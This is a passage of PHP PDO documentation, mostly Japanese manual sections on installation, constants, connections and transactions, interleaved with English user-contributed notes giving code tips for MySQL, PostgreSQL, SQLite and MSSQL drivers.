     $this->pdo = $pdo;
  }
  // return first column of first row
  public function fetchFirst()
  {
    $row = $this->fetch( PDO::FETCH_NUM );
    return $row[0];
  }
  // real cast number
  public function fetch( $fetch_style = null, $cursor_orientation = null, $cursor_offset = null )
  {
    $row = parent::fetch( $fetch_style, $cursor_orientation, $cursor_offset );
    if( is_array($row) )
      foreach( $row as $key => $value )
        if( strval(intval($value)) === $value )
          $row[$key] = intval($value);
        elseif( strval(floatval($value)) === $value )
          $row[$key] = floatval($value);
    return $row;
  }
  // permit $prepare->execute( $arg1, $arg2, ... );
  public function execute( $args = null )
  {
    if( is_array( $args ) )
      return parent::execute( $args );
    else
    {
      $args = func_get_args();
      return eval( 'return parent::execute( $args );' );
    }
  }
  public function last_query()
  {
    return $this->pdo->last_query();
  }
}

$pdo = new connexion( ... );
$pdo->setAttribute( PDO::ATTR_STATEMENT_CLASS, array( 'connexion_statement', array($pdo) ) );

?>
webform at aouie dot website 27-Sep-2006 11:38
If you use $dbh = new PDO('pgsql:host=localhost;dbname=test_basic01', $user, $pass); and you get the following error:
PHP Fatal error:  Uncaught exception 'PDOException' with message 'SQLSTATE[08006] [7] could not connect to server: Connection refused\n\tIs the server running on host "localhost" and accepting\n\tTCP/IP connections on port 5432?'
then as pointed out under pg_connect at: http://www.php.net/manual/en/function.pg-connect.php#38291
******
you should try to leave the host= and port= parts out of the connection string. This sounds strange, but this is an "option" of Postgre. If you have not activated the TCP/IP port in postgresql.conf then postgresql doesn't accept any incoming requests from an TCP/IP port. If you use host= in your connection string you are going to connect to Postgre via TCP/IP, so that's not going to work. If you leave the host= part out of your connection string you connect to Postgre via the Unix domain sockets, which is faster and more secure, but you can't connect with the database via any other PC as the localhost.
******
Sincerely,
Aouie
djlopez at gmx dot de 30-Aug-2006 02:56
Please note this:

Won't work:
$sth = $dbh->prepare('SELECT name, colour, calories FROM ?  WHERE calories < ?');

THIS WORKS!
$sth = $dbh->prepare('SELECT name, colour, calories FROM fruit WHERE calories < ?');

The parameter cannot be applied on table names!!
paulius_k at yahoo dot com 25-Jul-2006 08:42
If you need to get Output variable from MSSQL stored procedure, try this :

-- PROCEDURE
CREATE PROCEDURE spReturn_Int @err int OUTPUT
AS
SET @err = 11
GO

$sth = $dbh->prepare("EXECUTE spReturn_Int ?");
$sth->bindParam(1, $return_value, PDO::PARAM_INT|PDO::PARAM_INPUT_OUTPUT);
$sth->execute();
print "procedure returned $return_value\n";
nicolas at serpe dot org 21-May-2006 12:36
I use PDO with the ODBC driver to query stored procedures in a MS SQL Server 2005 Database under Windows XP Professional with IIS 5 and PHP 5.1.4. You may have the same problems with a different configuration.

I experienced 2 very time consuming errors:

1. The first one is when you return the result of a SELECT query, and you get the following clueless message:
>>> Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[24000]: Invalid cursor state: 0 [Microsoft][SQL Native Client]Invalid cursor state (SQLFetchScroll[0] at ext\pdo_odbc\odbc_stmt.c:372)' in (YOUR_TRACE_HERE) <<<
Your exact message may be different, the part to pay attention to is "Invalid cursor state".

-> I found that I had this error because I didn't include "SET NOCOUNT ON" in the *body* of the stored procedure. By default the server returns a special piece of information along with the results, indicating how many rows were affected by the stored procedure, and that's not handled by PDO.

2. The second error I had was:
>>> Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[22003]: Numeric value out of range: 0 [Microsoft][SQL Native Client]Numeric value out of range (SQLFetchScroll[0] at ext\pdo_odbc\odbc_stmt.c:372)' in (YOUR_TRACE_HERE) <<<
Another meaningless error "Numeric value out of range"...

-> I was actually returning a date datatype (datetime or smalldatetime) "as is", that is, without converting it to varchar before including it in the result set... I don't know if PDO is responsible for converting it to a PHP datatype, but it doesn't. Convert it before it reaches PHP.
pokojny at radlight dot com 23-Apr-2006 08:50
I wanted to extend PDO class to store statistics of DB usage, and I faced some problems. I wanted to count number of created statements and number of their executings. So PDOStatement should have link to PDO that created it and stores the statistical info. The problem was that I didn't knew how PDO creates PDOStatement (constructor parameters and so on), so I have created these two classes:

<?php
/**
 * PHP Document Object plus
 *
 * PHP Document Object plus is library with functionality of PDO, entirely written
 * in PHP, so that developer can easily extend it's classes with specific functionality,
 * such as providing database usage statistics implemented in v1.0b
 *
 * @author Peter Pokojny
 * @license http://opensource.org/licenses/gpl-license.php GNU Public License
 */
    class PDOp {
        protected $PDO;
        public $numExecutes;
        public $numStatements;
        public function __construct($dsn, $user=NULL, $pass=NULL, $driver_options=NULL) {
            $this->PDO = new PDO($dsn, $user, $pass, $driver_options);
            $this->numExecutes = 0;
            $this->numStatements = 0;
        }
        public function __call($func, $args) {
            return call_user_func_array(array(&$this->PDO, $func), $args);
        }
        public function prepare() {
            $this->numStatements++;

            $args = func_get_args();
            $PDOS = call_user_func_array(array(&$this->PDO, 'prepare'), $args);

            return new PDOpStatement($this, $PDOS);
        }
        public function query() {
            $this->numExecutes++;
            $this->numStatements++;

            $args = func_get_args();
            $PDOS = call_user_func_array(array(&$this->PDO, 'query'), $args);

            return new PDOpStatement($this, $PDOS);
        }
        public function exec() {
            $this->numExecutes++;

            $args = func_get_args();
            return call_user_func_array(array(&$this->PDO, 'exec'), $args);
        }
    }
    class PDOpStatement implements IteratorAggregate {
        protected $PDOS;
        protected $PDOp;
        public function __construct($PDOp, $PDOS) {
            $this->PDOp = $PDOp;
            $this->PDOS = $PDOS;
        }
        public function __call($func, $args) {
            return call_user_func_array(array(&$this->PDOS, $func), $args);
        }
        public function bindColumn($column, &$param, $type=NULL) {
            if ($type === NULL)
                $this->PDOS->bindColumn($column, $param);
            else
                $this->PDOS->bindColumn($column, $param, $type);
        }
        public function bindParam($column, &$param, $type=NULL) {
            if ($type === NULL)
                $this->PDOS->bindParam($column, $param);
            else
                $this->PDOS->bindParam($column, $param, $type);
        }
        public function execute() {
            $this->PDOp->numExecutes++;
            $args = func_get_args();
            return call_user_func_array(array(&$this->PDOS, 'execute'), $args);
        }
        public function __get($property) {
            return $this->PDOS->$property;
        }
        public function getIterator() {
            return $this->PDOS;
        }
   }
?>

Classes have properties with original PDO and PDOStatement objects, which are providing the functionality to PDOp and PDOpStatement.
From outside, PDOp and PDOpStatement look like PDO and PDOStatement, but also are providing wanted info.
keyvez at hotmail dot com 09-Mar-2006 12:49
PDO doesn't return OUTPUT params from mssql stored procedures

/* Stored Procedure Create Code: */
/*
CREATE PROCEDURE p_sel_all_termlength @err INT OUTPUT AS
SET @err = 2627
*/

/* PHP Code: */
<?php
    $Link = new PDO('mssql:host=sqlserver;dbname=database', 'username',
'password');

    $ErrorCode = 0;

    $Stmt = $Link->prepare('p_sel_all_termlength ?');
    $Stmt->bindParam(1,$ErrorCode,PDO::PARAM_INT,4);
    $Stmt->execute();
    echo "Error = " . $ErrorCode . "\n";
?>

/* PHP Output:
Error = 0
*/
www.navin.biz 19-Feb-2006 10:16
Below is an example of extending PDO & PDOStatement classes:

<?php

class Database extends PDO
{
    function __construct()
    {
        parent::__construct('mysql:dbname=test;host=localhost', 'root', '');
        $this->setAttribute(PDO::ATTR_STATEMENT_CLASS, array('DBStatement', array($this)));
    }
}

class DBStatement extends PDOStatement
{
    public $dbh;

    protected function __construct($dbh)
    {
        $this->dbh = $dbh;
        $this->setFetchMode(PDO::FETCH_OBJ);
    }

    public function foundRows()
    {
        $rows = $this->dbh->prepare('SELECT found_rows() AS rows', array(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY => TRUE));
        $rows->execute();
        $rowsCount = $rows->fetch(PDO::FETCH_OBJ)->rows;
        $rows->closeCursor();
        return $rowsCount;
    }
}

?>
shaolin at adf dot nu 07-Feb-2006 06:18
If your having problems re-compiling PHP with PDO as shared module try this.

--enable-pdo=shared
--with-pdo-mysql=shared,/usr/local/mysql
--with-sqlite=shared
--with-pdo-sqlite=shared

1. If PDO is built as a shared modules, all PDO drivers must also be
built as shared modules.
2. If ext/pdo_sqlite is built as a shared module, ext/sqlite must also
be built as a shared module.
3. In the extensions entries, if ext/pdo_sqlite is built as a shared
module, php.ini must specify pdo_sqlite first, followed by sqlite.
tomasz dot wasiluk at gmail dot com 01-Jan-2006 04:09
Watch out for putting spaces in the DSN
mysql:host=localhost;dbname=test works
mysql: host = localhost; dbname=test works
mysql: host = localhost; dbname = test doesn't work...


はじめに

PHP Data Objects (PDO) 拡張モジュールは、 PHP の中からデータベースにアクセスするための軽量で高性能な インターフェイスを定義します。 PDO インターフェイスを実装する各データベースドライバは、 正規表現関数のようなデータベース固有の機能を提供することができます。 PDO 拡張モジュールによりそのデータベースの全てのデータベース関数を 実行できるわけではないことに注意してください。 データベースサーバーにアクセスするには、 データベース固有の PDO ドライバ を使用する必要があります。

PDO は、データアクセスの抽象化レイヤを提供します。 つまり、使用しているデータベースが何であるかにかかわらず、同じ 関数を使用してクエリの発行やデータの取得が行えるということです。 PDO は、データベースの抽象化を行うのでは ありません。つまり、SQL を書き直したり 存在しない機能をエミュレートしたりはしないということです。 もしそのような機能が必要なら、全体を網羅する (full-blown) 別の抽象化レイヤを使用すべきです。

PDO は PHP 5.1 以降にバンドルされており、PHP 5.0 では PECL 拡張モジュールとして使用可能です。PDO は PHP 5 の新機能である オブジェクト指向機能を使用しており、それより前のバージョンの PHP では動作しません。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

Unix システムへの PDO のインストール

  1. PDO および PDO_SQLITE ドライバは、PHP 5.1.0 以降デフォルトで有効となっています。 必要に応じて、使用するデータベース用の PDO ドライバを有効にすることができます。 データベースごとの PDO ドライバについてのドキュメント を参照ください。

    注意:

    PDO を共有モジュールとしてビルドする場合 (非推奨です)、 すべての PDO ドライバは PDO 自体の後に ロードしなければなりません。

  2. PDO を共有モジュールとしてインストールする場合は、php.ini ファイルを変更し、PHP の実行時に PDO 拡張モジュールが自動的に読み込まれるようにしなければなりません。 データベースごとのドライバについても同様です。 ドライバは、pdo.so ファイルの後に記述するようにしましょう。 ドライバを読み込む前に PDO の初期化を済ませておく必要があるからです。 PDO およびデータベースドライバを静的にビルドした場合は、この部分は読み飛ばしてかまいません。

    extension=pdo.so

Windows ユーザー

  1. PDO および主要なドライバは、共有モジュールとして PHP に同梱されています。 単純に php.ini ファイルを編集するだけで使用可能です。

    extension=php_pdo.dll

    注意:

    PHP 5.3 以降ではこのステップは不要です。PDO の DLL は必須ではなくなったからです。

  2. 次に、その他のデータベース固有の DLL について、実行時に dl() で読み込むか php.ini の中で php_pdo.dll に引き続いて指定します。たとえば次のようになります。

    extension=php_pdo.dll
extension=php_pdo_firebird.dll
extension=php_pdo_informix.dll
extension=php_pdo_mssql.dll
extension=php_pdo_mysql.dll
extension=php_pdo_oci.dll
extension=php_pdo_oci8.dll
extension=php_pdo_odbc.dll
extension=php_pdo_pgsql.dll
extension=php_pdo_sqlite.dll

    これらの DLL は、システムの extension_dir になければなりません。

注意:

php.ini ファイルを変更したら、 新しい設定を有効にするために PHP を再起動する必要があります。

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

PDO 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
pdo.dsn.* |  | php.ini のみ |

以下に設定ディレクティブに関する 簡単な説明を示します。

pdo.dsn.* string

DSN の別名を定義します。完全な説明については PDO::__construct() を参照ください。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

警告

PHP 5.1 以降、PDO はクラス定数を使用します。 それ以前のリリースでは、PDO_PARAM_BOOL の形式のグローバル変数を使用します。

PDO::PARAM_BOOL (int)
ブールデータ型を表します。
PDO::PARAM_NULL (int)
SQL NULL データ型を表します。
PDO::PARAM_INT (int)
SQL INTEGER データ型を表します。
PDO::PARAM_STR (int)
SQL CHAR, VARCHAR, または他の文字列データ型を表します。
PDO::PARAM_STR_NATL (int)
事前定義された文字セットを使用する文字列であることを示すフラグです。 PHP 7.2.0 以降で利用可能です。
PDO::PARAM_STR_CHAR (int)
通常の文字セットを使用する文字列であることを示すフラグです。 PHP 7.2.0 以降で利用可能です。
PDO::PARAM_LOB (int)
SQL ラージオブジェクト型を表します。
PDO::PARAM_STMT (int)
PDO::PARAM_INPUT_OUTPUT (int)
パラメータがストアドプロシージャ用の入力パラメータであることを指定します。 この値は、PDO::PARAM_* データ型とのビットORとして指定する必要があります。
PDO::FETCH_LAZY (int)
取得する方法として、 結果セットが返すカラム名と同じ名前の変数を有するオブジェクトとして各行を返す方法を 指定します。 PDO::FETCH_LAZY は、アクセスされたものと同じ名前のオブジェクト変数を作成します。 PDOStatement::fetchAll() の中では使えません。
PDO::FETCH_ASSOC (int)
結果セットの対応するカラム名にふられているものと同じキーを付けた 連想配列として各行を返す取得方法を指定します。 もし結果セットが複数のカラムを同名で含む場合、 PDO::FETCH_ASSOC はカラム名毎に 1 つの値のみ返します。
PDO::FETCH_NAMED (int)
結果セットの対応するカラム名にふられているものと同じキーを付けた 連想配列として各行を返す取得方法を指定します。 もし結果セットが複数のカラムを同名で含む場合、 PDO::FETCH_NAMED はカラム名毎に値の配列を返します。
PDO::FETCH_NUM (int)
結果セットの対応するカラム番号にふられているものと同じ添字を付けた 配列として各行を返す取得方法を指定します。番号は0から始まります。
PDO::FETCH_BOTH (int)
結果セットと同じカラム名と0から始まるカラム番号を付けた配列として各行を返す 方法を指定します。
PDO::FETCH_OBJ (int)
結果セットが返すカラム名と同じ名前のプロパティを有する オブジェクトとして各行を返す方法を指定します。
PDO::FETCH_BOUND (int)
結果セットのカラムの値を PDOStatement::bindParam() または PDOStatement::bindColumn() メソッドでバインドされた PHP変数に代入し、TRUEを返すという取得方法を指定します。
PDO::FETCH_COLUMN (int)
結果セットの次の行から指定された一つのカラムのみを返す取得方法を指定します。
PDO::FETCH_CLASS (int)
カラムをクラスのプロパティにマップしつつ、 指定されたクラスの新規インスタンスを返す取得方法を指定します。

注意: 要求されたクラスにプロパティが存在しない場合は、マジックメソッド __set() がコールされます。

PDO::FETCH_INTO (int)
カラムをクラスのプロパティにマップしつつ、 指定されたクラスの既存のインスタンスを更新する取得方法を指定します。
PDO::FETCH_FUNC (int)
データをその場で扱う方法を完全にカスタマイズできるようにします (PDOStatement::fetchAll() の中でしか使えません)。
PDO::FETCH_GROUP (int)
値で返すグループ。 PDO::FETCH_COLUMN あるいは PDO::FETCH_KEY_PAIR と組み合わせます。
PDO::FETCH_UNIQUE (int)
一意な値だけを取得します。
PDO::FETCH_KEY_PAIR (int)
ふたつのカラムからなる結果を配列で取得します。最初のカラムの値がキー、二番目のカラムの内容が値となります。 PHP 5.2.3 以降で使用可能です。
PDO::FETCH_CLASSTYPE (int)
最初のカラムの値からクラス名を決定します。
PDO::FETCH_SERIALIZE (int)
PDO::FETCH_INTO と同様ですが、 シリアライズした文字列としてオブジェクトを提供します。 PHP 5.1.0 以降で使用可能です。 PHP 5.3.0 以降、このフラグを設定した場合はコンストラクタが呼ばれないようになりました。
PDO::FETCH_PROPS_LATE (int)
コンストラクタを呼んでからプロパティを設定します。 PHP 5.2.0 以降で使用可能です。
PDO::ATTR_AUTOCOMMIT (int)
この値が false の場合、PDO は接続がトランザクションを開始できるように オートコミットを無効にしようとします。
PDO::ATTR_PREFETCH (int)
独自アプリケーションにおけるメモリ使用量に対する速度のバランスを 調整するためのプリフェッチサイズを設定します。 全てのデータベースとドライバの組み合わせでプリフェッチサイズの設定を サポートしているわけではありません。
PDO::ATTR_TIMEOUT (int)
データベースとの通信に対するタイムアウト値を秒で設定します。
PDO::ATTR_ERRMODE (int)
PDO::ATTR_SERVER_VERSION (int)
PDO::ATTR_CLIENT_VERSION (int)
PDO::ATTR_SERVER_INFO (int)
PDO::ATTR_CONNECTION_STATUS (int)
PDO::ATTR_CASE (int)
PDO::CASE_* 定数で指定されたケースにカラム名を変更します。
PDO::ATTR_CURSOR_NAME (int)
PDO::ATTR_CURSOR (int)
PDO::ATTR_DRIVER_NAME (string)
ドライバ名を返します。

例1 PDO::ATTR_DRIVER_NAME の使用例

<?php
if ($db->getAttribute(PDO::ATTR_DRIVER_NAME) == 'mysql') {
  echo "mysql 上で動作しています。何か mysql 固有のことをここで行います\n";
}
?>

PDO::ATTR_ORACLE_NULLS (int)
空文字を SQL の NULL 値に変換します。
PDO::ATTR_PERSISTENT (mixed)
新規接続を生成するよりもむしろ持続的接続を要求します。
PDO::ATTR_STATEMENT_CLASS (int)
Sets the class name of which statements are returned as.
PDO::ATTR_FETCH_CATALOG_NAMES (int)
結果セット中の各カラム名にカタログ名を追加します。 カタログ名とカラム名は、小数点 (.) で区切られます。
PDO::ATTR_FETCH_TABLE_NAMES (int)
結果セット中の各カラム名にテーブル名を追加します。 テーブル名とカラム名は、小数点 (.) で区切られます。
PDO::ATTR_STRINGIFY_FETCHES (int)
全てのフェッチする値を強制的に文字列として扱います。
PDO::ATTR_MAX_COLUMN_LEN (int)
カラム名の最大の長さを設定します。
PDO::ATTR_DEFAULT_FETCH_MODE (int)
PHP 5.2.0 以降で使用可能です。
PDO::ATTR_EMULATE_PREPARES (int)
PHP 5.1.3 以降で使用可能です。
PDO::ATTR_DEFAULT_STR_PARAM (int)
デフォルトの文字列のパラメータタイプを設定します。 PDO::PARAM_STR_NATL と PDO::PARAM_STR_CHAR のうち、いずれかひとつを選べます。 PHP 7.2.0 以降で利用可能です。
PDO::ERRMODE_SILENT (int)
エラー時にエラーもしくは例外を発生しません。 開発者の方は明示的にエラーをチェックするようにしてください。 これはデフォルトのモードです。
PDO::ERRMODE_WARNING (int)
エラーが発生した場合、PHP の E_WARNING メッセージを発行します。
PDO::ERRMODE_EXCEPTION (int)
エラーが発生した場合、PDOException を投げます。
PDO::CASE_NATURAL (int)
カラム名をデータベースドライバにより返されたままにします。
PDO::CASE_LOWER (int)
カラム名を小文字にします。
PDO::CASE_UPPER (int)
カラム名を大文字にします。
PDO::NULL_NATURAL (int)
PDO::NULL_EMPTY_STRING (int)
PDO::NULL_TO_STRING (int)
PDO::FETCH_ORI_NEXT (int)
結果セットの次の行を取得します。スクローラブルなカーソルでのみ有効です。
PDO::FETCH_ORI_PRIOR (int)
結果セットの前の行を取得します。スクローラブルなカーソルでのみ有効です。
PDO::FETCH_ORI_FIRST (int)
結果セットの先頭の行を取得します。スクローラブルなカーソルでのみ有効です。
PDO::FETCH_ORI_LAST (int)
結果セットの最後の行を取得します。スクローラブルなカーソルでのみ有効です。
PDO::FETCH_ORI_ABS (int)
結果セットから行番号で指定した行を取得します。スクローラブルなカーソルでのみ有効です。
PDO::FETCH_ORI_REL (int)
結果セットのカーソルの現在の位置を基準とする相対位置により指定された行を 取得します。スクローラブルなカーソルでのみ有効です。
PDO::CURSOR_FWDONLY (int)
前進のみ可能なカーソルを有する PDOStatement オブジェクトを生成します。 これにより、アプリケーションの性能は改善しますが、 PDOStatementオブジェクトは前方にある結果セットから一度に一行を 取得するという制約を受けます。
PDO::CURSOR_SCROLL (int)
スクローラブルカーソルを有する PDOStatement オブジェクトを作成します。 結果セットから取得した行を制御するための PDO::FETCH_ORI_* 定数を指定して ください。
PDO::ERR_CANT_MAP (int)
PDO::ERR_SYNTAX (int)
PDO::ERR_CONSTRAINT (int)
PDO::ERR_NOT_FOUND (int)
PDO::ERR_ALREADY_EXISTS (int)
PDO::ERR_NOT_IMPLEMENTED (int)
PDO::ERR_MISMATCH (int)
PDO::ERR_TRUNCATED (int)
PDO::ERR_DISCONNECTED (int)
PDO::ERR_NO_PERM (int)
PDO::ERR_NONE (string)
SQLSTATE '00000' は SQL ステートメントがエラーや警告がなく発行に成功したことを意味します。 この定数はエラーが発生したかどうかを判別するために PDO::errorCode() もしくは PDOStatement::errorCode() をチェックする際に 便利です。この場合、通常はエラー状態を発生したメソッドからの戻りコードを 検査することによって検知します。
PDO::PARAM_EVT_ALLOC (int)
割り当てられたときに発生するイベント。
PDO::PARAM_EVT_FREE (int)
割り当てが解除されたときに発生するイベント。
PDO::PARAM_EVT_EXEC_PRE (int)
プリペアドステートメントの実行前に発生するイベント。
PDO::PARAM_EVT_EXEC_POST (int)
プリペアドステートメントの実行後に発生するイベント。
PDO::PARAM_EVT_FETCH_PRE (int)
結果セットから結果を取得する前に発生するイベント。
PDO::PARAM_EVT_FETCH_POST (int)
結果セットから結果を取得した後に発生するイベント。
PDO::PARAM_EVT_NORMALIZE (int)
バインドパラメータの登録時に発生するイベント。 これにより、ドライバがパラメータ名を正規化できるようになります。
PDO::SQLITE_DETERMINISTIC (int)
PDO::sqliteCreateFunction() で作られる関数が決定論的であることを指定します。 つまり、同じ入力が与えられると、単一のSQLステートメントの範疇では同じ結果が常に返されます。 (PHP 7.1.4 以降で使用可能です)

User Contributed Notes

Sbastien 06-Nov-2020 12:37
PDO::FETCH_UNIQUE not only fetches the unique values, it also uses the first SQL column as array key result, what is very useful for create quickly an index, eg :

<?php

$sql = <<<SQL
    SELECT ALL
        c1, -- For result indexing
        c1, c2
    FROM (
        VALUES
            ROW('ID-1', 'Value 1'),
            ROW('ID-2', 'Value 2a'),
            ROW('ID-2', 'Value 2b'),
            ROW('ID-3', 'Value 3')
    ) AS t (c1, c2);
    SQL;
$result = $pdo->query($sql);
print_r($result->fetchAll(PDO::FETCH_UNIQUE));

/*
Gives :
ID-1 => [c1 => ID-1,  c2 => Value 1]
ID-2 => [c1 => ID-2b, c2 => Value 2b]
ID-3 => [c1 => ID-3,  c2 => Value 3]
*/

?>
todd at toddwiggins dot com dot au 29-Jan-2020 11:48
Reference to all the PDO::MYSQL_* constants is available in MySQL's documentation for the driver here: https://dev.mysql.com/doc/connectors/en/apis-php-pdo-mysql.html

Such as the ones I was looking for PDO::MYSQL_ATTR_SSL_CA and PDO::MYSQL_ATTR_SSL_CAPATH which are not listed on this page.
kevin at kevinlocke dot name 08-Oct-2019 04:38
PDO::PARAM_STR_CHAR and PDO::PARAM_STR_NATL must be combined with PDO::PARAM_STR using bitwise-OR for parameter binding.

These flags control value quoting (e.g. PDO::quote) and, in some situations (see below), parameter binding  (e.g. PDO::bindParam, PDO::bindValue) to prefix string literals with N'' as defined in SQL-92.  As of PHP 7.3, only dblib and mysql support these flags.  For the mysql driver, the flags only affect parameter binding when PDO::ATTR_EMULATE_PREPARES is true (the default).

MySQL and MariaDB interpret string literals prefixed with N as being utf8 (not utf8mb4) regardless of `SET NAMES` or the charset parameter.  This can cause problems if the database/table/column charset is not utf8.  For example, in a database using utf8mb4, the query "SELECT * FROM table WHERE col = :param" and bindValue(":param", "\u{1F600}", PDO::PARAM_STR | PDO::PARAM_STR_NATL) will cause "PDOException: SQLSTATE[HY000]: General error: 1267 Illegal mix of collations (utf8mb4_general_ci,IMPLICIT) and (utf8_general_ci,COERCIBLE) for operation '='".  Using PDO::PARAM_STR without PDO::PARAM_STR_NATL and ensuring the charset DSN parameter is set correctly can avoid this issue.

See:
https://wiki.php.net/rfc/extended-string-types-for-pdo
https://mariadb.com/kb/en/library/string-literals/
https://dev.mysql.com/doc/refman/8.0/en/string-literals.html
ko dot izawa at gmail dot com 29-Aug-2016 08:52
When you use REAL type column on SQLite, your setting of pdo parameter of bindValue() is PDO::PARAM_STR.

'''
$stmt->bindValue(':elapse_time', $e_time, PDO::PARAM_STR);
'''
Oleg Andreyev 16-Jun-2016 11:35
Default value for \PDO::ATTR_TIMEOUT is 30 seconds.
Ref.: https://github.com/php/php-src/blob/PHP-7.1.0/ext/pdo_mysql/mysql_driver.c#L600
sam at xnet dot tk 26-Jan-2013 07:37
It should be noted that PDO::FETCH_CLASS will call the constructor *after* setting the values (or calling __set).


接続、および接続の管理

PDO 基底クラスのインスタンスを作成することにより、接続が確立されます。 どのドライバを使用するのかにかかわらず、常に PDO クラスを指定します。 コンストラクタに渡す引数により、データソース (いわゆる DSN) の指定や (もしあれば、オプションで) ユーザー名およびパスワードの指定を行います。

例1 MySQL への接続

<?php
$dbh = new PDO('mysql:host=localhost;dbname=test', $user, $pass);
?>

接続時になんらかのエラーが発生した場合、PDOException オブジェクトがスローされます。エラー処理を行いたい場合はこの例外を キャッチします。あるいはこれを無視して、 set_exception_handler() で設定した グローバル例外ハンドラに処理を任せることもできます。

例2 接続エラーの処理

<?php
try {
    $dbh = new PDO('mysql:host=localhost;dbname=test', $user, $pass);
    foreach($dbh->query('SELECT * from FOO') as $row) {
        print_r($row);
    }
    $dbh = null;
} catch (PDOException $e) {
    print "エラー!: " . $e->getMessage() . "<br/>";
    die();
}
?>

警告

PDO コンストラクタからの例外をアプリケーション内でキャッチしない場合、 zend エンジンはスクリプトの実行を終了し、バックトレースを表示します。 このバックトレースを見れば、データベースへの接続の詳細がわかってしまいます。 その中にはユーザー名やパスワードも含まれます。 (catch 文を使用して) 明示的に例外をキャッチするか、 あるいは set_exception_handler() を使用して 暗黙的に例外をキャッチするようにしましょう。

データベースへの接続に成功すると、PDO クラスのインスタンスが スクリプトに返されます。この PDO オブジェクトが存在する間、 接続がアクティブであり続けます。接続を閉じるには、他から 参照されていないことを保障することでオブジェクトを破棄する 必要があります。それには、オブジェクトを保持している変数に対して null を代入します。 明示的にこれを行わなかった場合は、スクリプトの終了時に自動的に 接続が閉じられます。

注意: この PDO インスタンスへの参照 (PDOStatement インスタンスからの参照や、同じ PDO インスタンスを参照する別の変数からの参照など) が他にも残っているなら、それらもあわせて削除する必要があります (PDOStatement を参照する変数に null を代入するなど)。

例3 接続を閉じる

<?php
$dbh = new PDO('mysql:host=localhost;dbname=test', $user, $pass);
// ここで接続を使用します
$sth = $dbh->query('SELECT * FROM foo');

// 使用を終了したので、閉じます
$sth = null;
$dbh = null;
?>

データベースサーバーへの持続的な接続による恩恵をこうむる web アプリケーションは多いでしょう。持続的な接続は、スクリプトが 終了しても閉じられずにキャッシュされ、他のスクリプトが同じ内容の 接続を要求してきた際にそれが再利用されます。持続的接続の キャッシュにより、スクリプトがデータベースを使用するたびに 新しい接続を確立するオーバーヘッドを避けることができます。 それにより、結果として web アプリケーションを高速化できるように なります。

例4 持続的な接続

<?php
$dbh = new PDO('mysql:host=localhost;dbname=test', $user, $pass, array(
    PDO::ATTR_PERSISTENT => true
));
?>

PDO::ATTR_PERSISTENT オプションの値は、 数値でない string の値が設定されない限り、(持続的な接続が有効/無効かを示す) bool に変換されます。 数値でない string を設定する場合、複数の接続プールを使うことができます。 これは互換性がない異なる接続設定を使う場合に便利です。たとえば、 異なる PDO::MYSQL_ATTR_USE_BUFFERED_QUERY の値を設定する場合が挙げられます。

注意:

持続的な接続を使用したい場合は、ドライバのオプションを表す配列に PDO::ATTR_PERSISTENT を設定して PDO のコンストラクタに渡す必要があります。この属性を PDO::setAttribute() を用いてインスタンス作成後に設定した場合は、 そのドライバは持続的な接続を使用しません。

注意:

PDO ODBC ドライバを使用しており、ODBC ライブラリが ODBC 接続プーリングをサポートしている場合 (unixODBC および Windows はこれをサポートしています。他にもあるかもしれません) は、 PDO の持続的接続を使用せずに ODBC の接続プーリングに 接続キャッシュ処理を任せることを推奨します。 ODBC の接続プールは、プロセス内で他のモジュールと共有されています。 PDO が接続をキャッシュしてしまうと、その接続は ODBC の 接続プールに返されなくなり、他のモジュールによって新たな接続が 作成されてしまうようになります。

User Contributed Notes

There are no user contributed notes for this page.


トランザクションおよび自動コミット

さあ、PDO を使用してデータベースに接続することができました。 クエリを発行する前に、PDO がトランザクションをどのように扱うのかを 理解しなければなりません。トランザクションについてよくわからない方の ために説明すると、これは以下の 4 つの機能、つまり 原子性 - Atomicity、一貫性 - Consistency、独立性 - Isolation および 永続性 - Durability (ACID) を提供するものです。 一般的な言葉で言うと、トランザクション内で実行された作業は たとえ段階的に行われたものであってもデータベースに安全に反映される ことが保証されています。トランザクションのコミット時に他の接続の 干渉を受けることはありません。また、トランザクション内での作業は (まだコミットされていなければ) いつでも自動的に取り消すことが できます。これにより、スクリプト内でのエラー処理がより楽になります。

トランザクションの一般的な実装は、変更内容を一時的に「蓄えて」おき、 それを一気に適用するようになっています。この実装には、更新処理の 性能を劇的に向上させるという効果もあります。つまり、 トランザクションによってあなたの書くスクリプトはより高速になり、 また、より堅牢になるということです (これらの恩恵をうけるためには、トランザクションを正しく使用する 必要があります)。

残念ながら、すべてのデータベースがトランザクションをサポートしていると いうわけではありません。そのため、PDO で最初に接続をオープンした際には、 いわゆる「自動コミット」モードで動作します。自動コミットモードとは、 もしデータベースがトランザクションをサポートしていたら個々のクエリが 暗黙的なトランザクションのもとで実行され、サポートしていなかったら トランザクションを使用せずに実行されることを意味します。 トランザクションを使用する場合は、 PDO::beginTransaction() メソッドを使用して トランザクションを初期化する必要があります。使用しているドライバが トランザクションをサポートしていない場合は PDOException が スローされます (これは深刻な状態であるため、エラー処理の設定に かかわらず常にスローされます)。初期化した後でトランザクションを 終了させるには、トランザクション内でのコードが成功したか否かに応じて PDO::commit() あるいは PDO::rollBack() を使用します。

警告

PDO は、トランザクション機能をドライバレベルでしかチェックしません。 実行時に何らかの条件でトランザクションが使えない場合でも、 データベースサーバーがトランザクション開始要求を受け付けた場合には PDO::beginTransaction() は true を返します。エラーとはなりません。

たとえば、MySQL データベースの MyISAM テーブルでトランザクションを使おうとした場合にこの現象が発生します。

スクリプトが終了したり接続が閉じられようとした際に、もし処理が 完了していないトランザクションがあれば PDO が自動的に ロールバックします。これは、スクリプトが予期せぬ状態で終了した場合に データの不整合が発生するのを避けるための安全装置です。もし 明示的にコミットしていなければ、おそらく何かおかしなことが 起こったのだろうと推測されます。そのため、データを守るために ロールバックが行われるのです。

警告

自動的にロールバックが行われるのは、トランザクションを PDO::beginTransaction() で開始した場合のみです。 トランザクションを開始するクエリを手動で発行した場合、 PDO はそれを知ることができません。そのため、何か問題が発生しても ロールバックすることはできないのです。

例1 トランザクション内で一括処理を行う

